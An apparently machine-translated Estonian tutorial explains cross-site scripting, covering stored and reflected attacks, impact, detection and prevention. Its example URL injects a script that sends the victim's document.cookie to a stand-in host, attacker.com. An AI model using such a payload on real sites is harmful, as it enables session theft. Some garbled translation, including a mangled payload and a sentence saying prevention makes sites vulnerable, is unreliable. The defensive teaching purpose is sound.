Sissejuhatus saidiülese skriptimise juurde

  • Veebirakenduste arvu suurenemisega Internetis on veebiturvalisus muutunud oluliseks probleemiks. Kasutajate privaatsete andmete häkkimine ja varastamine on nüüd tavaline ning see ähvardab neid mis tahes rakendusi kasutama. Saidideülene skriptimine on üks populaarsemaid rünnakuid kasutajate veebiturvalisuse vastu. Saame ülevaate sellest, mis on saitideülene skriptimine.
  • Saidideülene skriptimine, mida nimetatakse XSS-iks, on arvuti turvaauk, mille puhul ründaja eesmärk on lisada skriptide vormis pahatahtlik kood usaldusväärsele veebisaidile / veebilehele. See on kliendipoolne koodisüstimise rünnak ja pahatahtlik skript käivitatakse kasutaja veebibrauseris, kui ta sellele veebisaidile / veebilehele pääseb. Kaudselt saab neist veebisaitidest pahatahtliku koodi kasutajale saatmise vahend. Skriptide süstimisega pääsevad ründajad ohutuspiirangute DOM-ist (Document Object Model) mööda ja saavad juurdepääsu kasutaja tundliku lehe sisule, seansiküpsistele, sirvimisajaloole enamiku brauseri hallatavatest privaatsetest andmetest.
  • XSS-rünnakute suhtes on kõige haavatavam veebisait, mis sisaldab foorumeid, teadetetahvleid, kommentaare võimaldavaid veebilehti ja neid, mis kasutavad kasutajate anonüümset sisestust ja selliselt loodud väljundit. Kuigi XSS-rünnakud on VBScriptis, ActiveX-is ja CSS-is võimalikud, on need Javascriptis kõige tavalisemad, kuna see on enamiku sirvimiskogemuste põhialus.

Eri tüüpi saidideülene skriptimine (XSS)

Ehkki saitideülest skriptimist pole konkreetselt klassifitseeritud, on mõned eksperdid liigitanud selle kahte tüüpi, mida käsitletakse allpool detailsemalt:

Salvestatud XSS-rünnakud :

  • Salvestatud XSS on need, milles ründaja süstitud pahatahtlik skript salvestatakse andmebaasi ja käivitatakse kasutaja brauseris, kui ta üritab mingil kujul andmebaasile juurde pääseda. Neid tuntakse ka kui püsivat või salvestatud XSS-i. See on üks hävitavamaid rünnakuid ja juhtub eriti siis, kui veebisait / veebileht lubab kommenteerimist või HTML-i manustamist.
  • Ründaja lisab JavaScripti kommentaari, mis salvestatakse andmebaasi ja kui kasutaja pääseb mõjutatud lehele, otsides andmebaasist andmeid, siis selle brauseris töötab pahatahtlik skript ja ründaja saab volitamata juurdepääsu kasutaja privaatsetele andmetele.
  • Näiteks sellise e-kaubanduse veebisaidil nagu Olx, millel on toote kirjeldamiseks kasutamata sõnumikast, lisab ründaja, kes on toote müüja, sellesse pahatahtliku javascripti ja see salvestatakse veebisaidi andmebaasi.
  • Kui ostja avab toote kirjelduse, et toote üksikasju vaadata, saab nüüd ohvriks, kuna skript käivitatakse oma veebibrauseris ja kõik kasutaja andmed, mida brauser võimaldab, kaaperdatakse.

Protseduuri XSS rünnakud:

  • See on üks levinumaid viise, kuidas ründaja võib kasutajale XSS-rünnaku põhjustada. Põhimõtteliselt on protseduuri XSS rünnakute korral ründaja suunatud ohvrile, saates e-kirja, pahatahtliku lingi või manustades otsingutulemile stringi, mis osutab usaldusväärsele veebisaidile, kuid sisaldab pahatahtlikku javascripti koodi.
  • Kui ohver klõpsab sellel URL-il, algatab ta HTTP-päringu ja saadab taotluse haavatavale veebirakendusele. Seejärel tuleb taotlus ohvrile tagasi manustatud javascripti koodiga, mille veebibrauser täidab, kuna see pärineb usaldusväärselt veebisaidilt, mille tulemusel kaaperdatakse tema brauseri konfidentsiaalsed andmed.
  • Näiteks e-kaubanduse veebisaidil on otsingukast, kus kasutaja saab üksustest otsida ja otsingukasti kirjutatud string on veebisaidi URL-is nähtav, kui otsingupäring serverile saadetakse.
  • Ründaja loob lingi, milles pahatahtlik skript kinnitatakse URL-is ja saadab selle ohvrile e-posti teel. Kui ohver selle lingi avab, saadetakse päring ründaja pahatahtlikule veebisaidile ning kõik ohvri brauseri andmed kaaperdatakse ja saadetakse ründaja süsteemi.

Kuidas saitideülene skriptimine (XSS) töötab?

  • Saidiülese skriptimise (XSS) haavatavuse korral on ründaja peamine motiiv varastada kasutaja andmeid, käivitades oma brauseris pahatahtliku skripti, mis sisestatakse veebisaidi sisusse, mida kasutaja kasutab erinevatel viisidel.
  • Näiteks kui kasutaja otsib veebisaidilt mõnda teksti, siis saadetakse päring serverile järgmisel kujul:

https://www.abcwebsite.com/search?q=text1

Otsingutulemus tagastab veebisait tulemuse koos sellega, mida kasutaja otsis:

Sa otsisid: text1

Kui otsimisfunktsioonid on XSS-i suhtes haavatavad, saab ründaja lisada pahatahtliku skripti URL-i:

https://www.abcwebsite.com/search= dokumendi asukoht = https: //attacker.com/log.php? c = '+ encodeURICkomponent (document.cookie)
  • Kui ohver sellel lingil klõpsab, suundub see pahatahtlikule veebisaidile ehk https://attacker.com ja kõik brauseri andmed saadetakse otse ründaja arvutisse, mille tulemusel ründaja varastab kogu seansi loa / küpsised.
  • Sel viisil sisestab ründaja oma pahatahtliku skripti URL-i, ründaja saab selle skripti salvestada ka serverisse, mis kuulub Stored XSS-i.

Saidiülese skriptimise haavatavuste mõju:

Saidideülese skriptimise mõju on väga erinev. Pärast XSS-i haavatavuse kasutamist saab ründaja ohvri brauseri täieliku kontrolli ja suudab teha erinevaid toiminguid, alates väikestest (nt brauseri ajaloo vaatamine kuni katastroofilisteni), näiteks usside sisestamine arvutisse.

Mõned toimingutest, mida ründaja saab XSS-i haavatavuse ära kasutades teha, on järgmised: -

  1. Tundliku teabe, näiteks kasutajanime ja parooli, lekitamine.
  2. Usside sisestamine arvutisse.
  3. Kasutaja ümbersuunamine mõnele ohtlikule veebisaidile ja mõne toimingu sundimine
  4. Juurdepääs ohvri sirvimisajaloole.
  5. Trooja hobuste programmi paigaldamine.
  6. Sundige kasutajat rakenduses olevaid väärtusi muutma ja muutma, saades neile juurdepääsu

Saididevahelise skriptimise haavatavuste otsimine:

  • XSS-i haavatavused tekivad kahel põhjusel: kas kasutaja sisendit ei kinnitata enne selle serverisse saatmist või brauserisse vastu võetud väljundit ei ole HTML-i kodeeritud. Pidades silmas XSS-i haavatavuse hävitavat mõju ja kaitstes kasutajate privaatsust, on väga oluline välja selgitada, kas veebirakendus on XSS-i suhtes haavatav või mitte.
  • Ehkki XSS-i on keeruline tuvastada ja eemaldada, on parim viis selle kontrollimiseks teha koodi turvaülevaade ja kontrollida kõiki kohti, kus HTTP-päringu sisend saab rakenduses väljundina kuvada. Automaatsete haavatavuste skannimisriistade kasutamine, mis sisaldab spetsiaalset XSS-i skannerimoodulit, kogu veebirakenduse skannimiseks, võib aidata ka rakenduse turvaaukude skannimisel ja leidmisel.

Kas tänu XSS-i takistamisele?

  • XSS on koodisüstimise haavatavus, seetõttu on väga oluline kodeerida serverisse saadetavad andmed ja serverist pärinevad andmed kasutaja brauserisse.
  • Andmete valideerimine on samuti väga oluline, nii et brauser tõlgendab koodi ilma pahatahtlike käskudeta. Kasutusele võeti erinevad ennetusmeetodid, pidades andmete valideerimist ja kodeerimist prioriteediks, et veebisait oleks XSS-i suhtes haavatav.

XSS-i vältimiseks tuleb keskenduda mõnele punktile: -

  1. Kõigi veebiserverite HTTP-jälgimise tugi tuleks välja lülitada, kuna ründaja võib varastada küpsiseid ja privaatseid brauseriandmeid serverist pärit HTTP-jälgimiskõne kaudu, isegi kui dokument.cookie on ohvri brauseris keelatud.
  2. Arendajad peaksid sisendi puhastama ja ei tohiks kunagi kasutajalt otse saadud andmeid väljastada ilma seda kinnitamata.
  3. Lingid tuleks üldjuhul keelata, kui need ei alga lubatud nimekirjas olevate protokollidega, näiteks HTTP: //, https: //, takistades URI skeemide, näiteks javascript: // kasutamist.

Järeldus:

XSS-rünnakud on ohtlikud ja võivad kahjustada kasutaja privaatsust ning varastada andmeid, kui tavakasutaja ei sirvi rakendust hoolikalt. Nii peaksid arendajad rakenduse väljatöötamisel järgima rangeid turbereegleid, eriti nii andmete kui ka serveri jaoks, et rakendus oleks XSS-i suhtes kõige vähem haavatav ja rohkem kasutajaid saaks sellele toetuda.

Soovitatavad artiklid

See on olnud teemaks Mis on saidiülene skriptimine ?. Siin käsitleme vastavalt XSS-i erinevat tüüpi saitide ületamist, toimimist, mõju ja ennetamist. Lisateavet leiate ka meie muudest soovitatud artiklitest -

  1. Kuidas JavaScript töötab?
  2. Mis on andmepüügirünnak?
  3. Mis on küberrünnak?
  4. HTTP vahemälu
  5. Kuidas toimivad küpsised JavaScripti näites?

Kategooria: